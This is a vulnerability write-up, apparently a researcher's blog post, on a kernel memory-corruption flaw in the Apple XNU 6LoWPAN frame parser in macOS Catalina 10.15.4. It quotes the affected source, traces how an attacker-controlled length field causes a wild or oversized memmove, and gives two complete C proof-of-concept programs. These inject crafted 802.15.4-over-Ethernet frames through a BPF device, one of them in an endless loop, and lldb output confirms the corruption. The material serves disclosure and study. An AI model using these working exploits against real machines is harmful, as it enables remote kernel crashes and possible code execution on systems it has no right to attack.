		if (_ether_cmp(etherbroadcastaddr, eh->ether_dhost) == 0) {
			m->m_flags |= M_BCAST;
		} else {
			m->m_flags |= M_MCAST;
		}
	}

	if (m->m_flags & M_HASFCS) {
		/*
		 * If the M_HASFCS is set by the driver we want to make sure
		 * that we strip off the trailing FCS data before handing it
		 * up the stack.
		 */
		m_adj(m, -ETHER_CRC_LEN);
		m->m_flags &= ~M_HASFCS;
	}

	if ((eh->ether_dhost[0] & 1) == 0) {
		/*
		 * When the driver is put into promiscuous mode we may receive
		 * unicast frames that are not intended for our interfaces.
		 * They are marked here as being promiscuous so the caller may
		 * dispose of them after passing the packets to any interface
		 * filters.
		 */
		if (_ether_cmp(eh->ether_dhost, IF_LLADDR(ifp))) {
			m->m_flags |= M_PROMISC;
		}
	}

	/* check for IEEE 802.15.4 */
	if (ether_type == htons(ETHERTYPE_IEEE802154)) {
		*protocol_family = PF_802154;
		return 0;
	}

If the ether_type within the ethernet header is ETHERTYPE_IEEE802154, then we will set our protocol_family to PF_802154.

Now in the default configuration, this protocol_family will not be handled unless a 6lowpan interface is configured which results in the following code registering a function sixlowpan_input which will be called when processing an 802.15.4 frame.

/*
 * Function: sixlowpan_attach_protocol
 * Purpose:
 *   Attach a DLIL protocol to the interface
 *	 The ethernet demux actually special cases 802.15.4.
 *	 The demux here isn't used. The demux will return PF_802154 for the
 *	 appropriate packets and our sixlowpan_input function will be called.
 */
static int
sixlowpan_attach_protocol(struct ifnet *ifp)
{
	int     error;
	struct ifnet_attach_proto_param reg;

	bzero(&reg, sizeof(reg));
	reg.input            = sixlowpan_input;
	reg.detached         = sixlowpan_detached;
	error = ifnet_attach_protocol(ifp, PF_802154, &reg);
	if (error) {
		printf("%s(%s%d) ifnet_attach_protocol failed, %d\n",
		    __func__, ifnet_name(ifp), ifnet_unit(ifp), error);
	}
	return error;
}

Vulnerability Details

OK, now that we finally have the background information out of way, I will describe the vulnerability found. The sixlowpan_input function is called to decapsulate the 802.15.4 Data Frame as follows:

/*
 * 6lowpan input routine.
 * Decapsulate the 802.15.4 Data Frame
 * Header decompression on the payload
 * Pass the mbuf to the IPV6 protocol stack using proto_input()
 */
static int
sixlowpan_input(ifnet_t p, __unused protocol_family_t protocol,
    mbuf_t m, __unused char *frame_header)
{
	frame802154_t      ieee02154hdr;
	u_int8_t           *payload = NULL;
	if6lpan_ref        ifl = NULL;
	bpf_packet_func    bpf_func;
	mbuf_t mc, m_temp;
	int off, err = 0;
	u_int16_t len;

	/* Allocate an mbuf cluster for the 802.15.4 frame and uncompressed payload */
	mc = m_getcl(M_WAITOK, MT_DATA, M_PKTHDR);
	if (mc == NULL) {
		err = -1;
		goto err_out;
	}

	memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t));
	len = ntohs(len);         			// This is the size read from the frame on the wire. 
	m_adj(m, sizeof(u_int16_t));
	/* Copy the compressed 802.15.4 payload from source mbuf to allocated cluster mbuf */
	for (m_temp = m, off = 0; m_temp != NULL; m_temp = m_temp->m_next) {
		if (m_temp->m_len > 0) {
			m_copyback(mc, off, m_temp->m_len, mtod(m_temp, void *));
			off += m_temp->m_len;
		}
	}

	p = p_6lowpan_ifnet;
	mc->m_pkthdr.rcvif = p;

	sixlowpan_lock();
	ifl = ifnet_get_if6lpan_retained(p);

	if (ifl == NULL) {
		sixlowpan_unlock();
		err = -1;
		goto err_out;
	}

	if (if6lpan_flags_ready(ifl) == 0) {
		if6lpan_release(ifl);
		sixlowpan_unlock();
		err = -1;
		goto err_out;
	}

	bpf_func = ifl->if6lpan_bpf_input;
	sixlowpan_unlock();
	if6lpan_release(ifl);

	if (bpf_func) {
		bpf_func(p, mc);
	}

	/* Parse the 802.15.4 frame header */
	bzero(&ieee02154hdr, sizeof(ieee02154hdr));
	frame802154_parse(mtod(mc, uint8_t *), len, &ieee02154hdr, &payload);

	/* XXX Add check for your link layer address being dest */
	sixxlowpan_input(&ieee02154hdr, payload);

Firstly, m_getcl allocates an mbuf cluster mc for the incoming 802.15.4 frame and uncompressed payload.

Cluster mbuf’s are 2048 bytes in size MCLBYTES. Data larger than this is copied into multiple mbuf’s chained together.

As you can see here, len is read from the incoming mbuf m and is fully attacker controlled.

m_adj is then used to trim these 2 bytes from the head of the mbuf chain.

The compressed 802.15.4 payload is then copied from source mbuf m to allocated cluster mbuf mc.

The data pointer to the cluster mbuf is then passed to frame802154_parse together with the attacker controlled len value.

This has some obvious problems such as what if the data within the mbuf is less than the length of the frame within mc.

/*----------------------------------------------------------------------------*/
/**
 *   \brief Parses an input frame.  Scans the input frame to find each
 *   section, and stores the information of each section in a
 *   frame802154_t structure.
 *
 *   \param data The input data from the radio chip.
 *   \param len The size of the input data
 *   \param pf The frame802154_t struct to store the parsed frame information.
 */
int
frame802154_parse(uint8_t *data, int len, frame802154_t *pf, uint8_t **payload)
{
	uint8_t *p;
	frame802154_fcf_t fcf;
	int c;
#if LLSEC802154_USES_EXPLICIT_KEYS
	uint8_t key_id_mode;
#endif /* LLSEC802154_USES_EXPLICIT_KEYS */

	if (len < 3) {
		return 0;
	}

	p = data;

	/* decode the FCF */
	fcf.frame_type = p[0] & 7;
	fcf.security_enabled = (p[0] >> 3) & 1;
	fcf.frame_pending = (p[0] >> 4) & 1;
	fcf.ack_required = (p[0] >> 5) & 1;
	fcf.panid_compression = (p[0] >> 6) & 1;

	fcf.dest_addr_mode = (p[1] >> 2) & 3;
	fcf.frame_version = (p[1] >> 4) & 3;
	fcf.src_addr_mode = (p[1] >> 6) & 3;

	/* copy fcf and seqNum */
	memcpy(&pf->fcf, &fcf, sizeof(frame802154_fcf_t));
	pf->seq = p[2];
	p += 3;                             /* Skip first three bytes */

	/* Destination address, if any */
	if (fcf.dest_addr_mode) {
		/* Destination PAN */
		pf->dest_pid = p[0] + (p[1] << 8);
		p += 2;

		/* Destination address */
		/*     l = addr_len(fcf.dest_addr_mode); */
		/*     for(c = 0; c < l; c++) { */
		/*       pf->dest_addr.u8[c] = p[l - c - 1]; */
		/*     } */
		/*     p += l; */
		if (fcf.dest_addr_mode == FRAME802154_SHORTADDRMODE) {
			linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->dest_addr), &linkaddr_null);
			pf->dest_addr[0] = p[1];
			pf->dest_addr[1] = p[0];
			p += 2;
		} else if (fcf.dest_addr_mode == FRAME802154_LONGADDRMODE) {
			for (c = 0; c < 8; c++) {
				pf->dest_addr[c] = p[7 - c];
			}
			p += 8;
		}
	} else {
		linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->dest_addr), &linkaddr_null);
		pf->dest_pid = 0;
	}

	/* Source address, if any */
	if (fcf.src_addr_mode) {
		/* Source PAN */
		if (!fcf.panid_compression) {
			pf->src_pid = p[0] + (p[1] << 8);
			p += 2;
		} else {
			pf->src_pid = pf->dest_pid;
		}

		/* Source address */
		/*     l = addr_len(fcf.src_addr_mode); */
		/*     for(c = 0; c < l; c++) { */
		/*       pf->src_addr.u8[c] = p[l - c - 1]; */
		/*     } */
		/*     p += l; */
		if (fcf.src_addr_mode == FRAME802154_SHORTADDRMODE) {
			linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->src_addr), &linkaddr_null);
			pf->src_addr[0] = p[1];
			pf->src_addr[1] = p[0];
			p += 2;
		} else if (fcf.src_addr_mode == FRAME802154_LONGADDRMODE) {
			for (c = 0; c < 8; c++) {
				pf->src_addr[c] = p[7 - c];
			}
			p += 8;
		}
	} else {
		linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->src_addr), &linkaddr_null);
		pf->src_pid = 0;
	}

#if LLSEC802154_SECURITY_LEVEL
	if (fcf.security_enabled) {
		pf->aux_hdr.security_control.security_level = p[0] & 7;
#if LLSEC802154_USES_EXPLICIT_KEYS
		pf->aux_hdr.security_control.key_id_mode = (p[0] >> 3) & 3;
#endif /* LLSEC802154_USES_EXPLICIT_KEYS */
		p += 1;

		memcpy(pf->aux_hdr.frame_counter.u8, p, 4);
		p += 4;

#if LLSEC802154_USES_EXPLICIT_KEYS
		key_id_mode = pf->aux_hdr.security_control.key_id_mode;
		if (key_id_mode) {
			c = (key_id_mode - 1) * 4;
			memcpy(pf->aux_hdr.key_source.u8, p, c);
			p += c;
			pf->aux_hdr.key_index = p[0];
			p += 1;
		}
#endif /* LLSEC802154_USES_EXPLICIT_KEYS */
	}
#endif /* LLSEC802154_SECURITY_LEVEL */

	/* header length */
	c = p - data;
	/* payload length */
	pf->payload_len = (len - c);
	/* payload */
	*payload = p;

	/* return header length if successful */
	return c > len ? 0 : c;
}


/** \brief Parameters used by the frame802154_create() function.  These
 *  parameters are used in the 802.15.4 frame header.  See the 802.15.4
 *  specification for details.
 */
struct frame802154 {
	/* The fields dest_addr and src_addr must come first to ensure they are aligned to the
	 * CPU word size. Needed as they are accessed directly as linkaddr_t*. Note we cannot use
	 * the type linkaddr_t directly here, as we always need 8 bytes, not LINKADDR_SIZE bytes. */
	uint8_t dest_addr[8];           /**< Destination address */
	uint8_t src_addr[8];            /**< Source address */
	frame802154_fcf_t fcf;          /**< Frame control field  */
	uint8_t seq;                    /**< Sequence number */
	uint16_t dest_pid;              /**< Destination PAN ID */
	uint16_t src_pid;               /**< Source PAN ID */
	frame802154_aux_hdr_t aux_hdr;  /**< Aux security header */
	//uint8_t *payload;               /**< Pointer to 802.15.4 payload */
	int payload_len;                /**< Length of payload field */
};
typedef struct frame802154 frame802154_t;

There are some key observations to make about this function and caller:

• If len < 3, then the function will return 0 and not initialize the payload pointer (i.e. will be a NULL pointer).
• The return value of frame802154_parse is not checked. This could therefore lead to situtations where header length > payload.
• As we can control len between the values of 0-0xffff, we can make either pf->payload_len negative (to -header_len), smaller than the expected size or larger than the size of the input data itself in mc.

So what happens in these cases?

errno_t
sixxlowpan_input(struct frame802154 *ieee02154hdr, u_int8_t *payload)
{
	errno_t error = 0;

	error = sixxlowpan_uncompress(ieee02154hdr, payload);
	if (error != 0) {
		goto done;
	}

	/*
	 * TO DO: fragmentation
	 */

done:
	return error;
}

The payload is then uncompressed:

errno_t
sixxlowpan_uncompress(struct frame802154 *ieee02154hdr, u_int8_t *payload)
{
	long hdroffset;
	size_t hdrlen;
	u_int8_t hdrbuf[128];
	errno_t error;

	bzero(hdrbuf, sizeof(hdrbuf));
	hdrlen = sizeof(hdrbuf);

	error = uncompress_hdr_hc1(ieee02154hdr, (u_int8_t *)payload,
	    0, &hdroffset, &hdrlen, hdrbuf);

	if (error != 0) {
		return error;
	}

	if (hdroffset < 0) {
		/*
		 * hdroffset negative means that we have to remove
		 * hdrlen of extra stuff
		 */
		memmove(&payload[0],
		    &payload[hdrlen],
		    ieee02154hdr->payload_len - hdrlen);
		ieee02154hdr->payload_len -= hdrlen;
	} else {
		/*
		 * hdroffset is the size of the compressed header
		 * -- i.e. when the untouched data starts
		 *
		 * hdrlen is the size of the decompressed header
		 * that takes the place of compressed header of size hdroffset
		 */
		memmove(payload + hdrlen,
		    payload + hdroffset,
		    ieee02154hdr->payload_len - hdroffset);
		memcpy(payload, hdrbuf, hdrlen);
		ieee02154hdr->payload_len += hdrlen - hdroffset;
	}

	return 0;
}

Looking at the uncompression function:

/*--------------------------------------------------------------------*/
/**
 * \brief Uncompress HC1 (and HC_UDP) headers and put them in
 * sicslowpan_buf
 *
 * This function is called by the input function when the dispatch is
 * HC1.
 * We %process the packet in the packetbuf buffer, uncompress the header
 * fields, and copy the result in the sicslowpan buffer.
 * At the end of the decompression, packetbuf_hdr_len and uncompressed_hdr_len
 * are set to the appropriate values
 *
 * \param ip_len Equal to 0 if the packet is not a fragment (IP length
 * is then inferred from the L2 length), non 0 if the packet is a 1st
 * fragment.
 */
errno_t
uncompress_hdr_hc1(struct frame802154 *frame, u_int8_t *payload,
    uint16_t ip_len, long *hdroffset, size_t *hdrlen, u_int8_t *hdrbuf)
{
	struct ip6_hdr *ip6 = (struct ip6_hdr *)hdrbuf;

	if (payload[PACKETBUF_HC1_DISPATCH] == SICSLOWPAN_DISPATCH_IPV6) {
		*hdroffset = -SICSLOWPAN_IPV6_HDR_LEN;
		*hdrlen = SICSLOWPAN_IPV6_HDR_LEN;
		return 0;
	}

	*hdroffset = 0;

	/* version, traffic class, flow label */
	ip6->ip6_flow = 0;
	ip6->ip6_vfc = IPV6_VERSION;

	/* src and dest ip addresses */
	uip_ip6addr_u8(&ip6->ip6_src, 0xfe, 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
	uip_ds6_set_addr_iid(&ip6->ip6_src,
	    (uip_lladdr_t *)frame->src_addr);

	uip_ip6addr_u8(&ip6->ip6_dst, 0xfe, 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
	uip_ds6_set_addr_iid(&ip6->ip6_dst,
	    (uip_lladdr_t *)frame->dest_addr);

	*hdrlen = UIP_IPH_LEN;

	/* Next header field */
	switch (payload[PACKETBUF_HC1_ENCODING] & 0x06) {
	case SICSLOWPAN_HC1_NH_ICMP6:
		ip6->ip6_nxt = IPPROTO_ICMPV6;
		ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL];
		*hdroffset = SICSLOWPAN_HC1_HDR_LEN;
		break;

	case SICSLOWPAN_HC1_NH_TCP:
		ip6->ip6_nxt = IPPROTO_TCP;
		ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL];
		*hdroffset = SICSLOWPAN_HC1_HDR_LEN;
		break;

	case SICSLOWPAN_HC1_NH_UDP:
		ip6->ip6_nxt = IPPROTO_UDP;
		if (payload[PACKETBUF_HC1_HC_UDP_HC1_ENCODING] & 0x01) {
			struct udphdr *udp = (struct udphdr *)(uintptr_t)ip6;

			/* UDP header is compressed with HC_UDP */
			if (payload[PACKETBUF_HC1_HC_UDP_UDP_ENCODING] !=
			    SICSLOWPAN_HC_UDP_ALL_C) {
				printf("sicslowpan (uncompress_hdr), packet not supported");
				return EINVAL;
			}
			/* IP TTL */

			ip6->ip6_hlim = payload[PACKETBUF_HC1_HC_UDP_TTL];
			/* UDP ports, len, checksum */
			udp->uh_sport =
			    htons(SICSLOWPAN_UDP_PORT_MIN + (payload[PACKETBUF_HC1_HC_UDP_PORTS] >> 4));
			udp->uh_dport =
			    htons(SICSLOWPAN_UDP_PORT_MIN + (payload[PACKETBUF_HC1_HC_UDP_PORTS] & 0x0F));

			memcpy(&udp->uh_sum, &payload[PACKETBUF_HC1_HC_UDP_CHKSUM], 2);
			*hdrlen += UIP_UDPH_LEN;
			*hdroffset = SICSLOWPAN_HC1_HC_UDP_HDR_LEN;
		} else {
			ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL];
			*hdroffset = SICSLOWPAN_HC1_HDR_LEN;
		}
		break;

	default:
		/* this shouldn't happen, drop */
		return EINVAL;
	}

	/* IP length field. */
	if (ip_len == 0) {
		size_t len = frame->payload_len - *hdroffset + *hdrlen - sizeof(struct ip6_hdr);

		/* This is not a fragmented packet */
		SET16(&ip6->ip6_plen, len);
	} else {
		/* This is a 1st fragment */
		SET16(&ip6->ip6_plen, ip_len - UIP_IPH_LEN);
	}
	/* length field in UDP header */
	if (ip6->ip6_nxt == IPPROTO_UDP) {
		struct udphdr *udp = (struct udphdr *)(uintptr_t)ip6;

		memcpy(&udp->uh_ulen, &ip6->ip6_plen, 2);
	}
	return 0;
}

We can observe the following with this function:

1. It expects that there will always be at least 40 bytes IPv6 header *hdrlen available within the mbuf.
2. It does not expect the payload size to be less than the header.
3. ip_len is always 0.

If we ignore all the potential out of bound reads :), we can use this issue for the following out of bound writes:

• An underflow in len leading to a huge value being passed to memmove (wild write).

Therefore if we set the len of the frame received to be 0x4 we end up with the following values being calculated in frame802154_parse:

c header length = 3 frame->payload_len = 1

We can then see that by setting SICSLOWPAN_HC1_NH_UDP we end up with the following values in uncompress_hdr_hc1:

*hdroffset = SICSLOWPAN_HC1_HDR_LEN; i.e *hdroffset = 3

*hdrlen = UIP_IPH_LEN; i.e. *hdrlen = 40

sizeof(struct ip6_hdr) = 40

Therefore, when we return back to sixxlowpan_uncompress function:

	/*
		 * hdroffset is the size of the compressed header
		 * -- i.e. when the untouched data starts
		 *
		 * hdrlen is the size of the decompressed header
		 * that takes the place of compressed header of size hdroffset
		 */
		memmove(payload + hdrlen,
		    payload + hdroffset,
		    ieee02154hdr->payload_len - hdroffset);
		memcpy(payload, hdrbuf, hdrlen);

We have a write at payload + 40 (in the mc mbuf cluster, of data controlled by an attacker from the source payload buffer, of ieee02154hdr->payload_len - 3 = -2 length.

POC 1 - Underflow

/***

Apple XNU 6LowPAN POC
Catalina 10.15.4

POC 1: Wild memmove trigger with an underflow. 

Run this on target machine (or local system if testing locally):
sudo ifconfig 6lowpan create
sudo ifconfig 6lowpan0 up
sudo ifconfig 6lowpan0 6lowpansetdev en0

***/

#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <net/bpf.h>

// Set these to source and target 
unsigned char dest_mac[ETHER_ADDR_LEN]  = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
unsigned char src_mac[ETHER_ADDR_LEN]  = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

struct frame_t {
	struct ether_header header;
	unsigned char payload[ETHER_MAX_LEN - ETHER_HDR_LEN];
	ssize_t len;
	ssize_t payload_len;
};

// Open bpf device
int open_bpf_device()
{
	char buf[11] = {};
	int bpf = 0;
	for(int i = 0; i < 99; i++)
	{
		sprintf(buf,"/dev/bpf%i",i);
		bpf = open(buf,O_RDWR);
		if( bpf != -1 ) {
			printf("Opened device /dev/bpf%i\n", i);
			break; 
		}
	}
	if(bpf == -1) {
		printf("Cannot open any /dev/bpf* device, exiting\n");
		exit(1); 
	}
	return bpf; 
}

// Associate device
void assoc_dev(int bpf, char* interface)
{
	struct ifreq bound_if;
	strcpy(bound_if.ifr_name, interface);
	if(ioctl( bpf, BIOCSETIF, &bound_if ) > 0) {
		printf("Cannot bind bpf device to physical device %s, exiting\n", interface);
		exit(1);
	}
	printf("Bound bpf device to physical device %s\n", interface);
}

// Write trigger frame
void write_single_frame(int bpf) 
{
	ssize_t data_length = 32;

	struct frame_t frame;
	memcpy(frame.header.ether_dhost, dest_mac, ETHER_HDR_LEN);
	memcpy(frame.header.ether_shost, src_mac, ETHER_HDR_LEN);

	//  802.15.4 frame type. 
	frame.header.ether_type = 0x908;
	frame.len = (2*ETHER_ADDR_LEN) + ETHER_TYPE_LEN + data_length;

	// Length of frame - memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t)); len = ntohs(len);
	frame.payload[0] = 0;
	frame.payload[1] = 4;

	// This is the start of the "data" passed to frame802154_parse and considered frame header 
	// m_adj(m, sizeof(u_int16_t)); mtod(mc, uint8_t *)
	// These are used for the FCF (no flags set)
	frame.payload[2] = 0;
	frame.payload[3] = 0;
	frame.payload[4] = 0;

	// As none FCF are set p+=3 bytes. 
	// header length
	// c = p - data;
	// c = 3
	// payload length
	// pf->payload_len = (4 - 3);
	// pf->payload_len = 1

	// This is the start of our payload passed to sixxlowpan_uncompress
	frame.payload[5] = 0;
	frame.payload[6] = 2; // SICSLOWPAN_HC1_NH_UDP

	// Just pad the frame with 'A'. 
	for (int j = 7; j < 32; j++) {
		frame.payload[j] = 0x41;
    } 

    ssize_t bytes_sent;
    bytes_sent = write(bpf, &frame, frame.len);
    if(bytes_sent > 0) {
    	printf("Bytes sent: %ld\n", bytes_sent);
    } else {
    	perror("Error sending frame");
    	exit(1);
    }
}

int main(int argc, char *argv[])
{
	char* interface = "en0";

	int bpf;
	bpf = open_bpf_device();
	assoc_dev(bpf, interface);
	write_single_frame(bpf);

	return 0; 
}  

In the POC 1 code below I have caused 1 - 3 = -2 to trigger a huge write to make the issue obvious to spot.

We can confirm this with the following debug output:

(lldb) disas
kernel`sixxlowpan_uncompress:
    0xffffff8003ffa0b0 <+0>:   push   rbp
    0xffffff8003ffa0b1 <+1>:   mov    rbp, rsp
    0xffffff8003ffa0b4 <+4>:   push   r15
    0xffffff8003ffa0b6 <+6>:   push   r14
    0xffffff8003ffa0b8 <+8>:   push   r13
    0xffffff8003ffa0ba <+10>:  push   r12
    0xffffff8003ffa0bc <+12>:  push   rbx
    0xffffff8003ffa0bd <+13>:  sub    rsp, 0x98
    0xffffff8003ffa0c4 <+20>:  mov    r15, rsi
    0xffffff8003ffa0c7 <+23>:  mov    r14, rdi
    0xffffff8003ffa0ca <+26>:  lea    rax, [rip + 0x4a1f9f]     ; __stack_chk_guard
    0xffffff8003ffa0d1 <+33>:  mov    rax, qword ptr [rax]
    0xffffff8003ffa0d4 <+36>:  mov    qword ptr [rbp - 0x30], rax
    0xffffff8003ffa0d8 <+40>:  int3   
    0xffffff8003ffa0d9 <+41>:  mov    dword ptr [rbp - 0xc0], 0x0
    0xffffff8003ffa0e3 <+51>:  mov    qword ptr [rbp - 0x38], 0x0
    0xffffff8003ffa0eb <+59>:  mov    qword ptr [rbp - 0x40], 0x0
    0xffffff8003ffa0f3 <+67>:  mov    qword ptr [rbp - 0x48], 0x0
    0xffffff8003ffa0fb <+75>:  mov    qword ptr [rbp - 0x50], 0x0
    0xffffff8003ffa103 <+83>:  mov    qword ptr [rbp - 0x58], 0x0
    0xffffff8003ffa10b <+91>:  mov    qword ptr [rbp - 0x60], 0x0
    0xffffff8003ffa113 <+99>:  mov    qword ptr [rbp - 0x68], 0x0
    0xffffff8003ffa11b <+107>: mov    qword ptr [rbp - 0x70], 0x0
    0xffffff8003ffa123 <+115>: mov    qword ptr [rbp - 0x78], 0x0
    0xffffff8003ffa12b <+123>: mov    qword ptr [rbp - 0x80], 0x0
    0xffffff8003ffa133 <+131>: mov    qword ptr [rbp - 0x88], 0x0
    0xffffff8003ffa13e <+142>: mov    qword ptr [rbp - 0x90], 0x0
    0xffffff8003ffa149 <+153>: mov    qword ptr [rbp - 0x98], 0x0
    0xffffff8003ffa154 <+164>: mov    qword ptr [rbp - 0xa0], 0x0
    0xffffff8003ffa15f <+175>: mov    qword ptr [rbp - 0xa8], 0x0
    0xffffff8003ffa16a <+186>: mov    qword ptr [rbp - 0xb0], 0x0
    0xffffff8003ffa175 <+197>: lea    rbx, [rbp - 0xb0]
    0xffffff8003ffa17c <+204>: mov    esi, 0x80
    0xffffff8003ffa181 <+209>: mov    rdi, rbx
    0xffffff8003ffa184 <+212>: call   0xffffff80039980f0        ; bzero

    0xffffff8003ffa189 <+217>: mov    qword ptr [rbp - 0xb8], 0x80
    0xffffff8003ffa194 <+228>: lea    rcx, [rbp - 0xc0]
    0xffffff8003ffa19b <+235>: lea    r8, [rbp - 0xb8]
    0xffffff8003ffa1a2 <+242>: mov    rdi, r14
    0xffffff8003ffa1a5 <+245>: mov    rsi, r15
    0xffffff8003ffa1a8 <+248>: xor    edx, edx
    0xffffff8003ffa1aa <+250>: mov    r9, rbx
    0xffffff8003ffa1ad <+253>: call   0xffffff8003ff9d70        ; uncompress_hdr_hc1 at sixxlowpan.c:679

    0xffffff8003ffa1b2 <+258>: mov    ebx, eax
    0xffffff8003ffa1b4 <+260>: test   eax, eax
    0xffffff8003ffa1b6 <+262>: jne    0xffffff8003ffa210        ; <+352> at sixxlowpan.c
    0xffffff8003ffa1b8 <+264>: mov    r13, qword ptr [rbp - 0xc0]
    0xffffff8003ffa1bf <+271>: mov    r12, qword ptr [rbp - 0xb8]
    0xffffff8003ffa1c6 <+278>: lea    rsi, [r15 + r12]
    0xffffff8003ffa1ca <+282>: test   r13, r13                  
    0xffffff8003ffa1cd <+285>: js     0xffffff8003ffa1fa        ; <+330> at sixxlowpan.c:841:3

    0xffffff8003ffa1cf <+287>: lea    rdi, [r15 + r13]
    0xffffff8003ffa1d3 <+291>: movsxd rdx, dword ptr [r14 + 0x34]
    0xffffff8003ffa1d7 <+295>: int3   
    0xffffff8003ffa1d8 <+296>: sub    edx, ebp
->  0xffffff8003ffa1da <+298>: call   0xffffff8003998070        ; bcopy


(lldb) register read 
General Purpose Registers:
       rax = 0x0000000000000000
       rbx = 0x0000000000000000
       rcx = 0xffffff80669e3d28
       rdx = 0xfffffffffffffffe
       rdi = 0xffffff80602e1806
       rsi = 0xffffff80602e182b
       rbp = 0xffffff80669e3cf0
       rsp = 0xffffff80669e3c30
        r8 = 0xffffff80669e3c38
        r9 = 0xffffff80669e3c40
       r10 = 0x0000000000000000
       r11 = 0x0000000000000003
       r12 = 0x0000000000000028
       r13 = 0x0000000000000003
       r14 = 0xffffff80669e3d28
       r15 = 0xffffff80602e1803
       rip = 0xffffff8003ffa1da  kernel`sixxlowpan_uncompress + 298 [inlined] memmove at subrs.c:703
  kernel`sixxlowpan_uncompress + 298 [inlined] __memmove_chk at sixxlowpan.c:853
  kernel`sixxlowpan_uncompress + 298 at sixxlowpan.c:853
    rflags = 0x0000000000000393
        cs = 0x0000000000000008
        fs = 0x00000000ffff0000
        gs = 0x00000000669e0000

POC 2 - Overflow

However, we can trigger much more controlled memory corruptions with large payload sizes which also could likely be used for code execution.

For example, using the following parameters:

len = 0xffff

pf->payload_len = (0xffff - 3); = 65532 pf->payload_len = 0xfffc

This ends up with the memmove performing a write at payload + 40, of the data sourced by an attacker, of size 0xfffc-40 = (0xfff9) 65529.

POC 2 demonstrates this:

/***

Apple XNU 6LowPAN POC
Catalina 10.15.4

POC 2: Write 0xffd4 bytes - overflow

Run this on target machine (or local system if testing locally):
sudo ifconfig 6lowpan create
sudo ifconfig 6lowpan0 up
sudo ifconfig 6lowpan0 6lowpansetdev en0

***/

#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <net/bpf.h>

// Set these to source and target 
unsigned char dest_mac[ETHER_ADDR_LEN]  = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
unsigned char src_mac[ETHER_ADDR_LEN]  = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

struct frame_t {
	struct ether_header header;
	unsigned char payload[ETHER_MAX_LEN - ETHER_HDR_LEN];
	ssize_t len;
	ssize_t payload_len;
};

// Open bpf device
int open_bpf_device()
{
	char buf[11] = {};
	int bpf = 0;
	for(int i = 0; i < 99; i++)
	{
		sprintf(buf,"/dev/bpf%i",i);
		bpf = open(buf,O_RDWR);
		if( bpf != -1 ) {
			printf("Opened device /dev/bpf%i\n", i);
			break; 
		}
	}
	if(bpf == -1) {
		printf("Cannot open any /dev/bpf* device, exiting\n");
		exit(1); 
	}
	return bpf; 
}

// Associate device
void assoc_dev(int bpf, char* interface)
{
	struct ifreq bound_if;
	strcpy(bound_if.ifr_name, interface);
	if(ioctl( bpf, BIOCSETIF, &bound_if ) > 0) {
		printf("Cannot bind bpf device to physical device %s, exiting\n", interface);
		exit(1);
	}
	printf("Bound bpf device to physical device %s\n", interface);
}

// Write trigger frame
void write_single_frame(int bpf) 
{
	ssize_t data_length = 32;

	struct frame_t frame;
	memcpy(frame.header.ether_dhost, dest_mac, ETHER_HDR_LEN);
	memcpy(frame.header.ether_shost, src_mac, ETHER_HDR_LEN);

	//  802.15.4 frame type. 
	frame.header.ether_type = 0x908;
	frame.len = (2*ETHER_ADDR_LEN) + ETHER_TYPE_LEN + data_length;

	// Length of frame - memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t)); len = ntohs(len);
	frame.payload[0] = 0xff;
	frame.payload[1] = 0xff;

	// This is the start of the "data" passed to frame802154_parse and considered frame header 
	// m_adj(m, sizeof(u_int16_t)); mtod(mc, uint8_t *)
	// These are used for the FCF (no flags set)
	frame.payload[2] = 0;
	frame.payload[3] = 0;
	frame.payload[4] = 0;

	// As none FCF are set p+=3 bytes. 
	// header length
	// c = p - data;
	// c = 3
	// payload length
	// pf->payload_len = (4 - 3);
	// pf->payload_len = 1

	// This is the start of our payload passed to sixxlowpan_uncompress
	frame.payload[5] = 0;
	frame.payload[6] = 2; // SICSLOWPAN_HC1_NH_UDP

	// Just pad the frame with 'A'. 
	for (int j = 7; j < 32; j++) {
		frame.payload[j] = 0x41;
    } 

    ssize_t bytes_sent;
    bytes_sent = write(bpf, &frame, frame.len);
    if(bytes_sent > 0) {
    	printf("Bytes sent: %ld\n", bytes_sent);
    } else {
    	perror("Error sending frame");
    	exit(1);
    }
}

int main(int argc, char *argv[])
{
	char* interface = "en0";

	int bpf;
	bpf = open_bpf_device();
	assoc_dev(bpf, interface);
		
	// Do this in a loop to ensure we corrupt data following mbuf. 
	while (1)
		write_single_frame(bpf);

	return 0; 
} 

Which results in the following:

frame #0: 0xffffff8012dfa1da kernel`sixxlowpan_uncompress [inlined] memmove(dst=0xffffff806f16f82b, src=0xffffff806f16f806, ulen=65529) at loose_ends.c:873:2 [opt]

(lldb) register read 
General Purpose Registers:
       rax = 0x0000000000000000
       rbx = 0x0000000000000000
       rcx = 0xffffff8876c7bd28
       rdx = 0x000000000000fff9
       rdi = 0xffffff806f16f806
       rsi = 0xffffff806f16f82b
       rbp = 0xffffff8876c7bcf0
       rsp = 0xffffff8876c7bc30
        r8 = 0xffffff8876c7bc38
        r9 = 0xffffff8876c7bc40
       r10 = 0x0000000000000000
       r11 = 0x0000000000000003
       r12 = 0x0000000000000028
       r13 = 0x0000000000000003
       r14 = 0xffffff8876c7bd28
       r15 = 0xffffff806f16f803
       rip = 0xffffff8012dfa1da  kernel`sixxlowpan_uncompress + 298 [inlined] memmove at subrs.c:703
